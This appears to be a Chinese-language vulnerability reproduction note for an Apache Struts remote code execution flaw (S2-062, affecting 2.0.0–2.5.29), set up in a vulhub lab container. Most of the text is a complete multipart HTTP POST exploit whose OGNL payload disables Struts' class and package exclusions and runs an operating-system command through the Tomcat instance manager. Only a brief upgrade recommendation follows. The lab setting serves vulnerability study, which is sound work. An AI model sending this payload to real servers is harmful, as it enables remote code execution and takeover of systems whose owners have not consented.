官方描述，由于对CVE-2020-17530(S2-061)的修复不完善。导致一些标签的属性仍然可以执行OGNL表达式，最终可导致远程执行任意代码。
影响版本Apache Struts 2.0.0-2.5.29
复现过程使用开源靶场vulhub中s2-61环境进行复现
docker-compose up -d启动环境
访问靶场ip
复现exp
POST /index.action HTTP/1.1
Host: 192.168.28.191:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1096
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
使用利用工具进行复现
修复建议目前官方已发布修复补丁，将Apache Struts版本提升至2.5.30
